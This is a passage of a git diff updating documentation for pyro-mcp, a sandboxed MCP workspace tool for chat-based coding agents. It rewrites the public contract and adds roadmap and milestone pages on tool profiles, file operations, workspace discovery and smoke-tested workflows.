necessary: + +```bash +pyro mcp serve --profile workspace-full +``` + +## Recipe-Backed Workflows + +Once the host is connected, move to the five real workflows in +[use-cases/README.md](use-cases/README.md): + +- cold-start repo validation +- repro plus fix loops +- parallel isolated workspaces +- unsafe or untrusted code inspection +- review and evaluation workflows + +Validate the whole story with: + +```bash +make smoke-use-cases +``` + +For the machine-warmup plus reset/retry path specifically: + +```bash +make smoke-daily-loop +``` diff --git a/docs/public-contract.md b/docs/public-contract.md index f446d0d..69412f0 100644 --- a/docs/public-contract.md +++ b/docs/public-contract.md @@ -1,105 +1,192 @@ # Public Contract -This document defines the supported public interface for `pyro-mcp` `1.x`. +This document describes the chat way to use `pyro-mcp` in `4.x`. + +`pyro-mcp` currently has no users. Expect breaking changes while this chat-host +path is still being shaped. + +This document is intentionally biased. It describes the path users are meant to +follow today: + +- prove the host with the terminal companion commands +- serve disposable workspaces over MCP +- connect Claude Code, Codex, or OpenCode +- use the recipe-backed workflows + +This page does not try to document every building block in the repo. It +documents the chat-host path the project is actively shaping. ## Package Identity -- Distribution name: `pyro-mcp` -- Public executable: `pyro` -- Public Python import: `from pyro_mcp import Pyro` -- Public package-level factory: `from pyro_mcp import create_server` +- distribution name: `pyro-mcp` +- public executable: `pyro` +- primary product entrypoint: `pyro mcp serve` -## CLI Contract +`pyro-mcp` is a disposable MCP workspace for chat-based coding agents on Linux +`x86_64` KVM hosts. -Top-level commands: +## Supported Product Path +The intended user journey is: + +1. `pyro doctor` +2. `pyro prepare debian:12` +3. `pyro run debian:12 -- git --version` +4. `pyro mcp serve` +5. connect Claude Code, Codex, or OpenCode +6. use `workspace reset` as the normal retry step +7. run one of the documented recipe-backed workflows +8. validate the whole story with `make smoke-use-cases` + +## Evaluator CLI + +These terminal commands are the documented companion path for the chat-host +product: + +- `pyro doctor` +- `pyro prepare` - `pyro env list` - `pyro env pull` -- `pyro env inspect` -- `pyro env prune` -- `pyro mcp serve` - `pyro run` -- `pyro doctor` - `pyro demo` -- `pyro demo ollama` -Stable `pyro run` interface: +What to expect from that path: -- positional environment name -- `--vcpu-count` -- `--mem-mib` -- `--timeout-seconds` -- `--ttl-seconds` -- `--network` +- `pyro run -- ` defaults to `1 vCPU / 1024 MiB` +- `pyro run` fails if guest boot or guest exec is unavailable unless + `--allow-host-compat` is set +- `pyro run`, `pyro env list`, `pyro env pull`, `pyro env inspect`, + `pyro env prune`, `pyro doctor`, and `pyro prepare` are human-readable by + default and return structured JSON with `--json` +- the first official environment pull downloads from public Docker Hub into the + local environment cache +- `pyro prepare debian:12` proves the warmed daily loop with one throwaway + workspace create, exec, reset, and delete cycle +- `pyro demo` proves the one-shot create/start/exec/delete VM lifecycle end to + end -Behavioral guarantees: +These commands exist to validate and debug the chat-host path. They are not the +main product destination. -- `pyro run --vcpu-count --mem-mib -- ` returns structured JSON. -- `pyro env list`, `pyro env pull`, `pyro env inspect`, and `pyro env prune` return structured JSON. -- `pyro doctor` returns structured JSON diagnostics. -- `pyro demo ollama` prints log lines plus a final summary line. +## MCP Entry Point -## Python SDK Contract +The product entrypoint is: -Primary facade: +```bash +pyro mcp serve +``` -- `Pyro` +What to expect: -Supported public entrypoints: +- named modes are now the first chat-host story: + - `pyro mcp serve --mode repro-fix` + - `pyro mcp serve --mode inspect` + - `pyro mcp serve --mode cold-start` + - `pyro mcp serve --mode review-eval` +- bare `pyro mcp serve` remains the generic no-mode path and starts + `workspace-core` +- from a repo root, bare `pyro mcp serve` also auto-detects the current Git + checkout so `workspace_create` can omit `seed_path` +- `pyro mcp serve --profile workspace-full` explicitly opts into the larger + tool surface +- `pyro mcp serve --profile vm-run` exposes the smallest one-shot-only surface +- `pyro mcp serve --project-path /abs/path/to/repo` is the fallback when the + host does not preserve cwd +- `pyro mcp serve --repo-url ... [--repo-ref ...]` starts from a clean clone + source instead of a local checkout -- `create_server()` -- `Pyro.create_server()` -- `Pyro.list_environments()` -- `Pyro.pull_environment(environment)` -- `Pyro.inspect_environment(environment)` -- `Pyro.prune_environments()` -- `Pyro.create_vm(...)` -- `Pyro.start_vm(vm_id)` -- `Pyro.exec_vm(vm_id, *, command, timeout_seconds=30)` -- `Pyro.stop_vm(vm_id)` -- `Pyro.delete_vm(vm_id)` -- `Pyro.status_vm(vm_id)` -- `Pyro.network_info_vm(vm_id)` -- `Pyro.reap_expired()` -- `Pyro.run_in_vm(...)` +Host-specific setup docs: -Stable public method names: +- [claude_code_mcp.md](../examples/claude_code_mcp.md) +- [codex_mcp.md](../examples/codex_mcp.md) +- [opencode_mcp_config.json](../examples/opencode_mcp_config.json) +- [mcp_client_config.md](../examples/mcp_client_config.md) -- `create_server()` -- `list_environments()` -- `pull_environment(environment)` -- `inspect_environment(environment)` -- `prune_environments()` -- `create_vm(...)` -- `start_vm(vm_id)` -- `exec_vm(vm_id, *, command, timeout_seconds=30)` -- `stop_vm(vm_id)` -- `delete_vm(vm_id)` -- `status_vm(vm_id)` -- `network_info_vm(vm_id)` -- `reap_expired()` -- `run_in_vm(...)` +The chat-host bootstrap helper surface is: -## MCP Contract +- `pyro host connect claude-code` +- `pyro host connect codex` +- `pyro host print-config opencode` +- `pyro host doctor` +- `pyro host repair HOST` -Primary tool: +These helpers wrap the same `pyro mcp serve` entrypoint and are the preferred +setup and repair path for supported hosts. + +## Named Modes + +The supported named modes are: + +| Mode | Intended workflow | Key tools | +| --- | --- | --- | +| `repro-fix` | reproduce, patch, rerun, diff, export, reset | file ops, patch, diff, export, reset, summary | +| `inspect` | inspect suspicious or unfamiliar code with the smallest persistent surface | file list/read, exec, export, summary | +| `cold-start` | validate a fresh repo and keep services alive long enough to prove readiness | exec, export, reset, summary, service tools | +| `review-eval` | interactive review, checkpointing, shell-driven evaluation, and export | shell tools, snapshot tools, diff/export, summary | + +Use the generic no-mode path when one of those named modes feels too narrow for +the job. + +## Generic Workspace Contract + +`workspace-core` is the normal chat path. It exposes: - `vm_run` +- `workspace_create` +- `workspace_list` +- `workspace_update` +- `workspace_status` +- `workspace_sync_push` +- `workspace_exec` +- `workspace_logs` +- `workspace_summary` +- `workspace_file_list` +- `workspace_file_read` +- `workspace_file_write` +- `workspace_patch_apply` +- `workspace_diff` +- `workspace_export` +- `workspace_reset` +- `workspace_delete` -Advanced lifecycle tools: +That is enough for the normal persistent editing loop: -- `vm_list_environments` -- `vm_create` -- `vm_start` -- `vm_exec` -- `vm_stop` -- `vm_delete` -- `vm_status` -- `vm_network_info` -- `vm_reap_expired` +- create one workspace, often without `seed_path` when the server already has a + project source +- sync or seed repo content +- inspect and edit files without shell quoting +- run commands repeatedly in one sandbox +- review the current session in one concise summary +- diff and export results +- reset and retry +- delete the workspace when the task is done -## Versioning Rule +Move to `workspace-full` only when the chat truly needs: -- `pyro-mcp` uses SemVer. -- Environment names are stable identifiers in the shipped catalog. -- Changing a public command name, public flag, public method name, public MCP tool name, or required request field is a breaking change. +- persistent PTY shell sessions +- long-running services and readiness probes +- secrets +- guest networking and published ports +- stopped-workspace disk inspection + +## Recipe-Backed Workflows + +The documented product workflows are: + +| Workflow | Recommended mode | Doc | +| --- | --- | --- | +| Cold-start repo validation | `cold-start` | [use-cases/cold-start-repo-validation.md](use-cases/cold-start-repo-validation.md) | +| Repro plus fix loop | `repro-fix` | [use-cases/repro-fix-loop.md](use-cases/repro-fix-loop.md) | +| Parallel isolated workspaces | `repro-fix` | [use-cases/parallel-workspaces.md](use-cases/parallel-workspaces.md) | +| Unsafe or untrusted code inspection | `inspect` | [use-cases/untrusted-inspection.md](use-cases/untrusted-inspection.md) | +| Review and evaluation workflows | `review-eval` | [use-cases/review-eval-workflows.md](use-cases/review-eval-workflows.md) | + +Treat this smoke pack as the trustworthy guest-backed verification path for the +advertised product: + +```bash +make smoke-use-cases +``` + +The chat-host MCP path above is the thing the docs are intentionally shaping +around. diff --git a/docs/roadmap/llm-chat-ergonomics.md b/docs/roadmap/llm-chat-ergonomics.md new file mode 100644 index 0000000..440f528 --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics.md @@ -0,0 +1,186 @@ +# LLM Chat Ergonomics Roadmap + +This roadmap picks up after the completed workspace GA plan and focuses on one +goal: + +make the core agent-workspace use cases feel trivial from a chat-driven LLM +interface. + +Current baseline is `4.5.0`: + +- `pyro mcp serve` is now the default product entrypoint +- `workspace-core` is now the default MCP profile +- one-shot `pyro run` still exists as the terminal companion path +- workspaces already support seeding, sync push, exec, export, diff, snapshots, + reset, services, PTY shells, secrets, network policy, and published ports +- host-specific onramps exist for Claude Code, Codex, and OpenCode +- the five documented use cases are now recipe-backed and smoke-tested +- stopped-workspace disk tools now exist, but remain explicitly secondary + +## What "Trivial In Chat" Means + +The roadmap is done only when a chat-driven LLM can cover the main use cases +without awkward shell choreography or hidden host-side glue: + +- cold-start repo validation +- repro plus fix loops +- parallel isolated workspaces for multiple issues or PRs +- unsafe or untrusted code inspection +- review and evaluation workflows + +More concretely, the model should not need to: + +- patch files through shell-escaped `printf` or heredoc tricks +- rely on opaque workspace IDs without a discovery surface +- consume raw terminal control sequences as normal shell output +- choose from an unnecessarily large tool surface when a smaller profile would + work + +The next gaps for the narrowed persona are now about real-project credibility: + +- current-checkout startup is still brittle for messy local repos with unreadable, + generated, or permission-sensitive files +- the guest-backed smoke pack is strong, but it still proves shaped scenarios + better than arbitrary local-repo readiness +- the chat-host path still does not let users choose the sandbox environment as + a first-class part of host connection and server startup +- the product should not claim full whole-project development readiness until it + qualifies a real-project loop beyond fixture-shaped use cases + +## Locked Decisions + +- keep the workspace product identity central; do not drift toward CI, queue, + or runner abstractions +- keep disk tools secondary and do not make them the main chat-facing surface +- prefer narrow tool profiles and structured outputs over more raw shell calls +- optimize the MCP/chat-host path first and keep the CLI companion path good + enough to validate and debug it +- lower-level SDK and repo substrate work can continue, but they should not + drive milestone scope or naming +- CLI-only ergonomics are allowed when the SDK and MCP surfaces already have the + structured behavior natively +- prioritize repo-aware startup, trust, and daily-loop speed before adding more + low-level workspace surface area +- for repo-root auto-detection and `--project-path` inside a Git checkout, the + default project source should become Git-tracked files only +- `--repo-url` remains the clean-clone path when users do not want to trust the + local checkout as the startup source +- environment selection must become first-class in the chat-host path before the + product claims whole-project development readiness +- real-project readiness must be proven with guest-backed qualification smokes + that cover ignored, generated, and unreadable-file cases +- breaking changes are acceptable while there are still no users and the + chat-host product is still being shaped +- every milestone below must also update docs, help text, runnable examples, + and at least one real smoke scenario + +## Milestones + +1. [`3.2.0` Model-Native Workspace File Ops](llm-chat-ergonomics/3.2.0-model-native-workspace-file-ops.md) - Done +2. [`3.3.0` Workspace Naming And Discovery](llm-chat-ergonomics/3.3.0-workspace-naming-and-discovery.md) - Done +3. [`3.4.0` Tool Profiles And Canonical Chat Flows](llm-chat-ergonomics/3.4.0-tool-profiles-and-canonical-chat-flows.md) - Done +4. [`3.5.0` Chat-Friendly Shell Output](llm-chat-ergonomics/3.5.0-chat-friendly-shell-output.md) - Done +5. [`3.6.0` Use-Case Recipes And Smoke Packs](llm-chat-ergonomics/3.6.0-use-case-recipes-and-smoke-packs.md) - Done +6. [`3.7.0` Handoff Shortcuts And File Input Sources](llm-chat-ergonomics/3.7.0-handoff-shortcuts-and-file-input-sources.md) - Done +7. [`3.8.0` Chat-Host Onramp And Recommended Defaults](llm-chat-ergonomics/3.8.0-chat-host-onramp-and-recommended-defaults.md) - Done +8. [`3.9.0` Content-Only Reads And Human Output Polish](llm-chat-ergonomics/3.9.0-content-only-reads-and-human-output-polish.md) - Done +9. [`3.10.0` Use-Case Smoke Trust And Recipe Fidelity](llm-chat-ergonomics/3.10.0-use-case-smoke-trust-and-recipe-fidelity.md) - Done +10. [`3.11.0` Host-Specific MCP Onramps](llm-chat-ergonomics/3.11.0-host-specific-mcp-onramps.md) - Done +11. [`4.0.0` Workspace-Core Default Profile](llm-chat-ergonomics/4.0.0-workspace-core-default-profile.md) - Done +12. [`4.1.0` Project-Aware Chat Startup](llm-chat-ergonomics/4.1.0-project-aware-chat-startup.md) - Done +13. [`4.2.0` Host Bootstrap And Repair](llm-chat-ergonomics/4.2.0-host-bootstrap-and-repair.md) - Done +14. [`4.3.0` Reviewable Agent Output](llm-chat-ergonomics/4.3.0-reviewable-agent-output.md) - Done +15. [`4.4.0` Opinionated Use-Case Modes](llm-chat-ergonomics/4.4.0-opinionated-use-case-modes.md) - Done +16. [`4.5.0` Faster Daily Loops](llm-chat-ergonomics/4.5.0-faster-daily-loops.md) - Done +17. [`4.6.0` Git-Tracked Project Sources](llm-chat-ergonomics/4.6.0-git-tracked-project-sources.md) - Planned +18. [`4.7.0` Project Source Diagnostics And Recovery](llm-chat-ergonomics/4.7.0-project-source-diagnostics-and-recovery.md) - Planned +19. [`4.8.0` First-Class Chat Environment Selection](llm-chat-ergonomics/4.8.0-first-class-chat-environment-selection.md) - Planned +20. [`4.9.0` Real-Repo Qualification Smokes](llm-chat-ergonomics/4.9.0-real-repo-qualification-smokes.md) - Planned +21. [`5.0.0` Whole-Project Sandbox Development](llm-chat-ergonomics/5.0.0-whole-project-sandbox-development.md) - Planned + +Completed so far: + +- `3.2.0` added model-native `workspace file *` and `workspace patch apply` so chat-driven agents + can inspect and edit `/workspace` without shell-escaped file mutation flows. +- `3.3.0` added workspace names, key/value labels, `workspace list`, `workspace update`, and + `last_activity_at` tracking so humans and chat-driven agents can rediscover and resume the right + workspace without external notes. +- `3.4.0` added stable MCP/server tool profiles with `vm-run`, `workspace-core`, and + `workspace-full`, plus canonical profile-based OpenAI and MCP examples so chat hosts can start + narrow and widen only when needed. +- `3.5.0` added chat-friendly shell reads with plain-text rendering and idle batching so PTY + sessions are readable enough to feed directly back into a chat model. +- `3.6.0` added recipe docs and real guest-backed smoke packs for the five core workspace use + cases so the stable product is now demonstrated as repeatable end-to-end stories instead of + only isolated feature surfaces. +- `3.7.0` removed the remaining shell glue from canonical CLI workspace flows with `--id-only`, + `--text-file`, and `--patch-file`, so the shortest handoff path no longer depends on `python -c` + extraction or `$(cat ...)` expansion. +- `3.8.0` made `workspace-core` the obvious first MCP/chat-host profile from the first help and + docs pass while keeping `workspace-full` as the 3.x compatibility default. +- `3.9.0` added content-only workspace file and disk reads plus cleaner default human-mode + transcript separation for files that do not end with a trailing newline. +- `3.10.0` aligned the five guest-backed use-case smokes with their recipe docs and promoted + `make smoke-use-cases` as the trustworthy verification path for the advertised workspace flows. +- `3.11.0` added exact host-specific MCP onramps for Claude Code, Codex, and OpenCode so new + chat-host users can copy one known-good setup example instead of translating the generic MCP + config manually. +- `4.0.0` flipped the default MCP/server profile to `workspace-core`, so the bare entrypoint now + matches the recommended narrow chat-host profile across CLI, SDK, and package-level factories. +- `4.1.0` made repo-root startup native for chat hosts, so bare `pyro mcp serve` can auto-detect + the current Git checkout and let the first `workspace_create` omit `seed_path`, with explicit + `--project-path` and `--repo-url` fallbacks when cwd is not the source of truth. +- `4.2.0` adds first-class host bootstrap and repair helpers so Claude Code, + Codex, and OpenCode users can connect or repair the supported chat-host path + without manually composing raw MCP commands or config edits. +- `4.3.0` adds a concise workspace review surface so users can inspect what the + agent changed and ran since the last reset without reconstructing the + session from several lower-level views by hand. +- `4.4.0` adds named use-case modes so chat hosts can start from `repro-fix`, + `inspect`, `cold-start`, or `review-eval` instead of choosing from the full + generic workspace surface first. +- `4.5.0` adds `pyro prepare`, daily-loop readiness in `pyro doctor`, and a + real `make smoke-daily-loop` verification path so the local machine warmup + story is explicit before the chat host connects. + +Planned next: + +- [`4.6.0` Git-Tracked Project Sources](llm-chat-ergonomics/4.6.0-git-tracked-project-sources.md) +- [`4.7.0` Project Source Diagnostics And Recovery](llm-chat-ergonomics/4.7.0-project-source-diagnostics-and-recovery.md) +- [`4.8.0` First-Class Chat Environment Selection](llm-chat-ergonomics/4.8.0-first-class-chat-environment-selection.md) +- [`4.9.0` Real-Repo Qualification Smokes](llm-chat-ergonomics/4.9.0-real-repo-qualification-smokes.md) +- [`5.0.0` Whole-Project Sandbox Development](llm-chat-ergonomics/5.0.0-whole-project-sandbox-development.md) + +## Expected Outcome + +After this roadmap, the product should still look like an agent workspace, not +like a CI runner with more isolation. + +The intended model-facing shape is: + +- one-shot work starts with `vm_run` +- persistent work moves to a small workspace-first contract +- file edits are structured and model-native +- workspace discovery is human and model-friendly +- shells are readable in chat +- CLI handoff paths do not depend on ad hoc shell parsing +- the recommended chat-host profile is obvious from the first MCP example +- the documented smoke pack is trustworthy enough to use as a release gate +- major chat hosts have copy-pasteable MCP setup examples instead of only a + generic config template +- human-mode content reads are copy-paste safe +- the default bare MCP server entrypoint matches the recommended narrow profile +- the five core use cases are documented and smoke-tested end to end +- starting from the current repo feels native from the first chat-host setup +- supported hosts can be connected or repaired without manual config spelunking +- users can review one concise summary of what the agent changed and ran +- the main workflows feel like named modes instead of one giant reference +- reset and retry loops are fast enough to encourage daily use +- repo-root startup is robust even when the local checkout contains ignored, + generated, or unreadable files +- chat-host users can choose the sandbox environment as part of the normal + connect/start path +- the product has guest-backed qualification for real local repos, not only + shaped fixture scenarios +- it becomes credible to tell a user they can develop a real project inside + sandboxes, not just evaluate or patch one diff --git a/docs/roadmap/llm-chat-ergonomics/3.10.0-use-case-smoke-trust-and-recipe-fidelity.md b/docs/roadmap/llm-chat-ergonomics/3.10.0-use-case-smoke-trust-and-recipe-fidelity.md new file mode 100644 index 0000000..7d50ac6 --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/3.10.0-use-case-smoke-trust-and-recipe-fidelity.md @@ -0,0 +1,54 @@ +# `3.10.0` Use-Case Smoke Trust And Recipe Fidelity + +Status: Done + +## Goal + +Make the documented use-case pack trustworthy enough to act like a real release +gate for the advertised chat-first workflows. + +## Public API Changes + +No new core API is required in this milestone. + +The user-visible change is reliability and alignment: + +- `make smoke-use-cases` should pass cleanly on a supported host +- each smoke scenario should verify the same user-facing path the recipe docs + actually recommend +- smoke assertions should prefer structured CLI, SDK, or MCP results over + brittle checks against human-mode text formatting when both exist + +## Implementation Boundaries + +- fix the current repro-plus-fix drift as part of this milestone +- keep the focus on user-facing flow fidelity, not on broad internal test + harness refactors +- prefer exact recipe fidelity over inventing more synthetic smoke-only steps +- if the docs say one workflow is canonical, the smoke should exercise that same + workflow directly + +## Non-Goals + +- no new workspace capability just to make the smoke harness easier to write +- no conversion of the product into a CI/reporting framework +- no requirement that every README transcript becomes a literal byte-for-byte + golden test + +## Acceptance Scenarios + +- `make smoke-use-cases` passes end to end on a supported host +- the repro-plus-fix smoke proves the documented patch path without relying on + fragile human-output assumptions +- each use-case recipe still maps to one real guest-backed smoke target +- a maintainer can trust a red smoke result as a real user-facing regression, + not just harness drift + +## Required Repo Updates + +- use-case smoke scenarios audited and corrected to follow the canonical docs +- any brittle human-output assertions replaced with structured checks where + possible +- docs updated if a recipe or expected output changed during the alignment pass +- at least one release/readiness note should point to the smoke pack as a + trustworthy verification path once this lands diff --git a/docs/roadmap/llm-chat-ergonomics/3.11.0-host-specific-mcp-onramps.md b/docs/roadmap/llm-chat-ergonomics/3.11.0-host-specific-mcp-onramps.md new file mode 100644 index 0000000..9edc0fa --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/3.11.0-host-specific-mcp-onramps.md @@ -0,0 +1,56 @@ +# `3.11.0` Host-Specific MCP Onramps + +Status: Done + +## Goal + +Remove the last translation step for major chat hosts by shipping exact, +copy-pasteable MCP setup guidance for the hosts users actually reach for. + +## Public API Changes + +No core runtime or workspace API change is required in this milestone. + +The main user-visible additions are host-specific integration assets and docs: + +- Claude setup should have a first-class maintained example +- Codex should have a first-class maintained example +- OpenCode should have a first-class maintained example +- the integrations docs should show the shortest working path for each host and + the same recommended `workspace-core` profile + +## Implementation Boundaries + +- keep the underlying server command the same: + `pyro mcp serve --profile workspace-core` +- treat host-specific configs as thin wrappers around the same MCP server +- cover both package-without-install and already-installed variants where that + materially improves copy-paste adoption +- keep generic MCP config guidance, but stop forcing users of major hosts to + translate it themselves + +## Non-Goals + +- no client-specific runtime behavior hidden behind host detection +- no broad matrix of every MCP-capable editor or agent host +- no divergence in terminology between host examples and the public contract + +## Acceptance Scenarios + +- a Claude user can copy one shipped example and connect without reading generic + MCP docs first +- a Codex user can copy one shipped example or exact `codex mcp add ...` command +- an OpenCode user can copy one shipped config snippet without guessing its MCP + schema shape +- the README and integrations docs point to those host-specific examples from + the first integration pass + +## Required Repo Updates + +- new shipped config examples for Codex and OpenCode +- README, install docs, and integrations docs updated to point at the new host + examples +- at least one short host-specific quickstart section or example command for + each supported host family +- runnable or documented verification steps that prove the shipped examples stay + current diff --git a/docs/roadmap/llm-chat-ergonomics/3.2.0-model-native-workspace-file-ops.md b/docs/roadmap/llm-chat-ergonomics/3.2.0-model-native-workspace-file-ops.md new file mode 100644 index 0000000..ea4e59c --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/3.2.0-model-native-workspace-file-ops.md @@ -0,0 +1,65 @@ +# `3.2.0` Model-Native Workspace File Ops + +Status: Done + +## Goal + +Remove shell quoting and hidden host-temp-file choreography from normal +chat-driven workspace editing loops. + +## Public API Changes + +Planned additions: + +- `pyro workspace file list WORKSPACE_ID [PATH] [--recursive]` +- `pyro workspace file read WORKSPACE_ID PATH [--max-bytes N]` +- `pyro workspace file write WORKSPACE_ID PATH --text TEXT` +- `pyro workspace patch apply WORKSPACE_ID --patch TEXT` +- matching Python SDK methods: + - `list_workspace_files` + - `read_workspace_file` + - `write_workspace_file` + - `apply_workspace_patch` +- matching MCP tools: + - `workspace_file_list` + - `workspace_file_read` + - `workspace_file_write` + - `workspace_patch_apply` + +## Implementation Boundaries + +- scope all operations strictly under `/workspace` +- keep these tools text-first and bounded in size +- make patch application explicit and deterministic +- keep `workspace export` as the host-out path for copying results back +- keep shell and exec available for process-oriented work, not as the only way + to mutate files + +## Non-Goals + +- no arbitrary host filesystem access +- no generic SFTP or file-manager product identity +- no replacement of shell or exec for process lifecycle work +- no hidden auto-merge behavior for conflicting patches + +## Acceptance Scenarios + +- an agent reads a file, applies a patch, reruns tests, and exports the result + without shell-escaped editing tricks +- an agent inspects a repo tree and targeted files inside one workspace without + relying on host-side temp paths +- a repro-plus-fix loop is practical from MCP alone, not only from a custom + host wrapper + +## Required Repo Updates + +- public contract updates across CLI, SDK, and MCP +- docs and examples that show model-native file editing instead of shell-heavy + file writes +- at least one real smoke scenario centered on a repro-plus-fix loop + +## Outcome + +- shipped `workspace file list|read|write` and `workspace patch apply` across CLI, SDK, and MCP +- kept the surface scoped to started workspaces and `/workspace` +- updated docs, help text, examples, and smoke coverage around model-native editing flows diff --git a/docs/roadmap/llm-chat-ergonomics/3.3.0-workspace-naming-and-discovery.md b/docs/roadmap/llm-chat-ergonomics/3.3.0-workspace-naming-and-discovery.md new file mode 100644 index 0000000..5081196 --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/3.3.0-workspace-naming-and-discovery.md @@ -0,0 +1,53 @@ +# `3.3.0` Workspace Naming And Discovery + +Status: Done + +## Goal + +Make multiple concurrent workspaces manageable from chat without forcing the +user or model to juggle opaque IDs. + +## Public API Changes + +Planned additions: + +- `pyro workspace create ... --name NAME` +- `pyro workspace create ... --label KEY=VALUE` +- `pyro workspace list` +- `pyro workspace update WORKSPACE_ID [--name NAME] [--label KEY=VALUE] [--clear-label KEY]` +- matching Python SDK methods: + - `list_workspaces` + - `update_workspace` +- matching MCP tools: + - `workspace_list` + - `workspace_update` + +## Implementation Boundaries + +- keep workspace IDs as the stable machine identifier +- treat names and labels as operator-friendly metadata and discovery aids +- surface last activity, expiry, service counts, and summary metadata in + `workspace list` +- make name and label metadata visible in create, status, and list responses + +## Non-Goals + +- no scheduler or queue abstractions +- no project-wide branch manager +- no hidden background cleanup policy beyond the existing TTL model + +## Acceptance Scenarios + +- a user can keep separate workspaces for two issues or PRs and discover them + again without external notes +- a chat agent can list active workspaces, choose the right one, and continue + work after a later prompt +- review and evaluation flows can tag or name workspaces by repo, bug, or task + intent + +## Required Repo Updates + +- README and install docs that show parallel named workspaces +- examples that demonstrate issue-oriented workspace naming +- smoke coverage for at least one multi-workspace flow +- public contract, CLI help, and examples that show `workspace list` and `workspace update` diff --git a/docs/roadmap/llm-chat-ergonomics/3.4.0-tool-profiles-and-canonical-chat-flows.md b/docs/roadmap/llm-chat-ergonomics/3.4.0-tool-profiles-and-canonical-chat-flows.md new file mode 100644 index 0000000..7db490c --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/3.4.0-tool-profiles-and-canonical-chat-flows.md @@ -0,0 +1,51 @@ +# `3.4.0` Tool Profiles And Canonical Chat Flows + +Status: Done + +## Goal + +Make the model-facing surface intentionally small for chat hosts, while keeping +the full workspace product available when needed. + +## Public API Changes + +Planned additions: + +- `pyro mcp serve --profile {vm-run,workspace-core,workspace-full}` +- matching Python SDK and server factory configuration for the same profiles +- one canonical OpenAI Responses example that uses the workspace-core profile +- one canonical MCP/chat example that uses the same profile progression + +Representative profile intent: + +- `vm-run`: one-shot only +- `workspace-core`: create, status, exec, file ops, diff, reset, export, delete +- `workspace-full`: shells, services, snapshots, secrets, network policy, and + the rest of the stable workspace surface + +## Implementation Boundaries + +- keep the current full surface available for advanced users +- add profiles as an exposure control, not as a second product line +- make profile behavior explicit in docs and help text +- keep profile names stable once shipped + +## Non-Goals + +- no framework-specific wrappers inside the core package +- no server-side planner that chooses tools on the model's behalf +- no hidden feature gating by provider or client + +## Acceptance Scenarios + +- a chat host can expose only `vm_run` for one-shot work +- a chat host can promote the same agent to `workspace-core` without suddenly + dumping the full advanced surface on the model +- a new integrator can copy one example and understand the intended progression + from one-shot to stable workspace + +## Required Repo Updates + +- integration docs that explain when to use each profile +- canonical chat examples for both provider tool calling and MCP +- smoke coverage for at least one profile-limited chat loop diff --git a/docs/roadmap/llm-chat-ergonomics/3.5.0-chat-friendly-shell-output.md b/docs/roadmap/llm-chat-ergonomics/3.5.0-chat-friendly-shell-output.md new file mode 100644 index 0000000..e46edc3 --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/3.5.0-chat-friendly-shell-output.md @@ -0,0 +1,46 @@ +# `3.5.0` Chat-Friendly Shell Output + +Status: Done + +## Goal + +Keep persistent PTY shells powerful, but make their output clean enough to feed +directly back into a chat model. + +## Public API Changes + +Planned additions: + +- `pyro workspace shell read ... --plain` +- `pyro workspace shell read ... --wait-for-idle-ms N` +- matching Python SDK parameters: + - `plain=True` + - `wait_for_idle_ms=...` +- matching MCP request fields on `shell_read` + +## Implementation Boundaries + +- keep raw PTY reads available for advanced clients +- plain mode should strip terminal control sequences and normalize line endings +- idle waiting should batch the next useful chunk of output without turning the + shell into a separate job scheduler +- keep cursor-based reads so polling clients stay deterministic + +## Non-Goals + +- no replacement of the PTY shell with a fake line-based shell +- no automatic command synthesis inside shell reads +- no shell-only workflow that replaces `workspace exec`, services, or file ops + +## Acceptance Scenarios + +- a chat agent can open a shell, write a command, and read back plain text + output without ANSI noise +- long-running interactive setup or debugging flows are readable in chat +- shell output is useful as model input without extra client-side cleanup + +## Required Repo Updates + +- help text that makes raw versus plain shell reads explicit +- examples that show a clean interactive shell loop +- smoke coverage for at least one shell-driven debugging scenario diff --git a/docs/roadmap/llm-chat-ergonomics/3.6.0-use-case-recipes-and-smoke-packs.md b/docs/roadmap/llm-chat-ergonomics/3.6.0-use-case-recipes-and-smoke-packs.md new file mode 100644 index 0000000..ce213a1 --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/3.6.0-use-case-recipes-and-smoke-packs.md @@ -0,0 +1,42 @@ +# `3.6.0` Use-Case Recipes And Smoke Packs + +Status: Done + +## Goal + +Turn the five target workflows into first-class documented stories and runnable +verification paths. + +## Public API Changes + +No new core API is required in this milestone. + +The main deliverable is packaging the now-mature workspace surface into clear +recipes, examples, and smoke scenarios that prove the intended user experience. + +## Implementation Boundaries + +- build on the existing stable workspace contract and the earlier chat-first + milestones +- keep the focus on user-facing flows, not internal test harness complexity +- treat the recipes as product documentation, not private maintainer notes + +## Non-Goals + +- no new CI or scheduler abstractions +- no speculative cloud orchestration work +- no broad expansion of disk tooling as the main story + +## Acceptance Scenarios + +- cold-start repo validation has a documented and smoke-tested flow +- repro-plus-fix loops have a documented and smoke-tested flow +- parallel isolated workspaces have a documented and smoke-tested flow +- unsafe or untrusted code inspection has a documented and smoke-tested flow +- review and evaluation workflows have a documented and smoke-tested flow + +## Required Repo Updates + +- a dedicated doc or section for each target use case +- at least one canonical example per use case in CLI, SDK, or MCP form +- smoke scenarios that prove each flow on a real Firecracker-backed path diff --git a/docs/roadmap/llm-chat-ergonomics/3.7.0-handoff-shortcuts-and-file-input-sources.md b/docs/roadmap/llm-chat-ergonomics/3.7.0-handoff-shortcuts-and-file-input-sources.md new file mode 100644 index 0000000..09812d5 --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/3.7.0-handoff-shortcuts-and-file-input-sources.md @@ -0,0 +1,48 @@ +# `3.7.0` Handoff Shortcuts And File Input Sources + +Status: Done + +## Goal + +Remove the last bits of shell plumbing from the canonical CLI workspace flows so +they feel productized instead of hand-assembled. + +## Public API Changes + +Planned additions: + +- `pyro workspace create ... --id-only` +- `pyro workspace shell open ... --id-only` +- `pyro workspace file write WORKSPACE_ID PATH --text-file PATH` +- `pyro workspace patch apply WORKSPACE_ID --patch-file PATH` + +## Implementation Boundaries + +- keep existing `--json`, `--text`, and `--patch` stable +- treat these additions as CLI-only shortcuts over already-structured behavior +- make `--text` and `--text-file` mutually exclusive +- make `--patch` and `--patch-file` mutually exclusive +- read file-backed text and patch inputs as UTF-8 text +- keep `/workspace` scoping and current patch semantics unchanged + +## Non-Goals + +- no new binary file-write story +- no new SDK or MCP surface just to mirror CLI shorthand flags +- no 